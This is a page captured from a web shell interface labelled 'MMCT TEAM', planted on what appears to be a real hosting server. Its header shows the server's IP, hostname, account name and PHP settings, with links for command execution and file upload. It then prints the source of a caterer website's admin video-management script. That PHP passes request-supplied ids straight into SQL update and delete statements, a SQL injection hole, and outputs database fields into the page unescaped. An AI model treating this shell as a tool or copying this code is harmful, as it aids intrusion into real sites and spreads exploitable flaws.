MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.118.32.7
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/pccaterers.in/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/pccaterers.in/admin/manage_video.php
<?php
require_once("../includes/dbsmain.inc.php");

if(isset($_REQUEST['arr_ids'])){
	$arr_ids = $_REQUEST['arr_ids'];
	if(is_array($arr_ids)) {
		$str_ids = implode(',', $arr_ids);
		if(isset($_REQUEST['Activate']) || isset($_REQUEST['Activate_x'])){
			$sql = "update tbl_video set video_status = 'Active' where video_id in ($str_ids)";
			db_query($sql);
			set_session_msg("Selected Video have been activated successfully !");		    
		}else if(isset($_REQUEST['Deactivate']) || isset($_REQUEST['Deactivate_x'])){
			$sql = "update tbl_video set video_status = 'Inactive' where video_id in ($str_ids)";
			db_query($sql);
			set_session_msg("Selected Video have been deactivated successfully !");
		}else if(isset($_REQUEST['Delete']) || isset($_REQUEST['Delete_x'])){
			$sql = "delete from tbl_video where video_id in ($str_ids)";
			db_query($sql);
			set_session_msg("Selected Video have been deleted successfully !");
		}
	}
	
	header("Location: manage_video.php");
	exit;
}
$start = intval($start);
$pagesize = intval($pagesize)==0?$pagesize=DEF_PAGE_SIZE:$pagesize;
$columns = "select * ";
$sql=" from tbl_video where 1";
$sql .= " order by video_id  ";
$sql_count = "select count(*) ".$sql;
$sql .= " limit $start, $pagesize ";
$sql = $columns.$sql;
$result = db_query($sql);
$reccnt = db_scalar($sql_count);
?>
<link href="styles.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/javascript" src="../includes/general.js"></script>
<?php include("top.inc.php");?>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td id="pageHead"><div id="txtPageHead">Manage Video</div></td>
      </tr>
    </table>
	<div style="padding-top:10px;"><b class="msg" style="margin-left:450px;"><?=display_sess_msg()?></b></div>
    <table width="100%" border="0" cellspacing="0" cellpadding="0">
      <tr>
        <td id="content" align="left">
         <div align="right"> <a href="addedit-video.php" style="font-size:13px; font-weight:bold; margin-right:10px;">Add Video</a> </div>
        <?php
			if(mysqli_num_rows($result)==0){?>
        <div class="msg">Sorry, no records found.</div>
        <?
			}else{ ?>
        <div align="right"> Showing Records:
          <?= $start+1?>
          to
          <?=($reccnt<$start+$pagesize)?($reccnt-$start):($start+$pagesize)?>
          of
          <?= $reccnt?>
        </div>
        <div align="left">Records Per Page:
          <?=pagesize_dropdown('pagesize', $pagesize);?>
        </div>
        <form method="post" name="form1" id="form1" onSubmit="confirm_submit(this)">
          <table width="100%"  border="0" cellpadding="0" cellspacing="1" class="tableList">
            <tr>
              <th width="35%" nowrap="nowrap" style="font-size:12px; padding:9px;">Title</th>
              <th width="35%" nowrap="nowrap">Video</th>
              <th width="10%">Status</th>
              <th width="5%">Edit</th>
              <th width="6%"><input name="check_all" type="checkbox" id="check_all" value="1" onclick="checkall(this.form)" /></th>
            </tr>
            <?php if($start==0){ $cnt=0; }else{ $cnt=$start; }
					while ($line_raw = mysqli_fetch_array($result)){
						$cnt++;
						$css = ($css=='trOdd')?'trEven':'trOdd';
						?>
            <tr class="<?=$css?>">
            </td>
            <td align="center" valign="middle" style="font-size:12px;"><?=$line_raw['video_title'];?></td>
              <td align="center" valign="top">
			  <iframe width="100" height="100" src="https://www.youtube.com/embed/<?=$line_raw['video_clip']?>" frameborder="0" allowfullscreen></iframe>
			  </td>
              <td align="center" valign="middle"><b style="font-size:13px;"><?=$line_raw['video_status'];?></b></td>
              <td align="center" valign="middle"><a href="addedit-video.php?video_id=<?=$line_raw['video_id']?>&set_flag=update"> <img src="images/icons/edit.png" alt="Edit" width="19" height="19" border="0" /> </a>
              <td align="center" valign="middle"><input name="arr_ids[]" type="checkbox" id="arr_ids[]" value="<?=$line_raw['video_id'];?>" />
              </td>
            </tr>
            <?
				  }?>
          </table>
          <table width="100%" border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td align="right" style="padding:2px"><input type="submit" name="Activate" value="Activate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#1F3E00; border-radius:4px; cursor:pointer; width:100px;"/>
                <input type="submit" name="Deactivate" value="Deactivate" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#FF6F6F; border-radius:4px; cursor:pointer; width:100px;" />
                <input type="submit" name="Delete" value="Delete" class="button" onClick="return select_chk()" style="font-size:12px; font-weight:bold; height:26px; background-color:#CA0000; border-radius:4px; cursor:pointer; width:100px;"/>
              </td>
            </tr>
          </table>
        </form>
        <?
       }
       ?>
        <?php include("paging.inc.php");?>
      </td>
      
      </tr>
      
    </table>
    <script language="javascript">
function select_chk(){
	var chks = document.getElementsByName('arr_ids[]');
	var hasChecked = false;
	for (var i = 0; i < chks.length; i++){
	if (chks[i].checked){
		hasChecked = true;
		break;
		}
	}
	if (hasChecked == false){
	alert("Please Select At Least One.");
	return false;
	}
}
</script>
    <?php include("bottom.inc.php");?>

MMCT - 2023